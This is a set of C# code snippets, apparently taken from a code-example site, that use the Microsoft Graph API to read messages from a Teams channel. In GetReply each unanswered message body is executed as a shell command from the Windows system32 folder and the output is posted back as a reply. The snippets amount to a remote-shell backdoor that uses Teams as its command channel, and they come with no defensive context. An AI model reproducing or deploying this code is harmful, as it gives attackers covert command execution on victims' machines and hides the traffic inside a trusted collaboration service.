示例#1
0
        public static async Task GetReply(string AccessToken, string groupid, string channelid, string messageid, string input)
        {
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            var     url = $"https://graph.microsoft.com/beta/teams/{groupid}/channels/{channelid}/messages/{messageid}/replies";
            JObject channelmessagesDetails = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken);

            IList <JToken> channelmessagesresults = channelmessagesDetails["value"].Children().ToList();

            if (channelmessagesresults.Count == 0)
            {
                try
                {
                    string output = ShellExecuteWithPath(input, @"c:\\windows\system32\");
                    Thread.Sleep(2000);
                    await SendReply(AccessToken, groupid, channelid, messageid, TextToHtml(output));
                }
                catch (Exception ex)
                {
                    await SendReply(AccessToken, groupid, channelid, messageid, TextToHtml(ex.Message));

                    //Console.WriteLine(ex.Message);
                }
            }
        }
示例#2
0
        public static async Task SendReply(string AccessToken, string groupid, string channelid, string messageid, string value)
        {
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            var            url = $"https://graph.microsoft.com/beta/teams/{groupid}/channels/{channelid}/messages/{messageid}/replies";
            createmessages createmailmessagedetails = new createmessages();

            messagebody body = new messagebody();

            body.contentType = "html";
            body.content     = value;

            createmailmessagedetails.body = body;

            string data = JsonConvert.SerializeObject(createmailmessagedetails);

            JObject createmailmessage = await apiCaller.CallPostWebApiAndProcessResultASync(url, AccessToken, data);
        }
示例#3
0
        public static async Task <string> GetChannelDetails(string AccessToken, string groupid)
        {
            #region GetChannelDetails
            var            httpClient     = new HttpClient();
            var            apiCaller      = new ProtectedApiCallHelper(httpClient);
            channeldetails channelDetails = new channeldetails();
            var            url            = $"https://graph.microsoft.com/beta/teams/{groupid}/channels";
            JObject        cDetails       = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken);

            IList <JToken> channelresults = cDetails["value"].Children().ToList();

            IList <channeldetails> channelsearchResults = new List <channeldetails>();
            foreach (JToken res in channelresults)
            {
                channelDetails = res.ToObject <channeldetails>();
                channelsearchResults.Add(channelDetails);
            }
            return(channelDetails.id);

            #endregion GetChannelDetails
        }
示例#4
0
        public static async Task <string> GetGroupDetails(string AccessToken, string GroupName)
        {
            #region GetGroupDetails
            var          httpClient   = new HttpClient();
            var          apiCaller    = new ProtectedApiCallHelper(httpClient);
            groupdetails groupDetails = new groupdetails();
            var          url          = $"https://graph.microsoft.com/beta/groups?$filter=startswith(displayname, '{GroupName}')";
            JObject      gDetails     = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken);

            IList <JToken> groupresults = gDetails["value"].Children().ToList();

            IList <groupdetails> groupsearchResults = new List <groupdetails>();
            foreach (JToken res in groupresults)
            {
                groupDetails = res.ToObject <groupdetails>();
                groupsearchResults.Add(groupDetails);
            }
            return(groupDetails.id);

            #endregion GetGroupDetails
        }
示例#5
0
        public static async Task GetMessage(string AccessToken, string groupid, string channelid)
        {
            channelmessages channelMessages = new channelmessages();

            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            var     url = $"https://graph.microsoft.com/beta/teams/{groupid}/channels/{channelid}/messages";
            JObject channelmessagesDetails = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken);

            IList <JToken> channelmessagesresults = channelmessagesDetails["value"].Children().ToList();

            // serialize JSON results into .NET objects
            IList <channelmessages> channelmessagessearchResults = new List <channelmessages>();

            foreach (JToken res in channelmessagesresults)
            {
                channelMessages = res.ToObject <channelmessages>();
                channelmessagessearchResults.Add(channelMessages);
                await GetReply(AccessToken, groupid, channelid, channelMessages.id, channelMessages.body.content);
            }
        }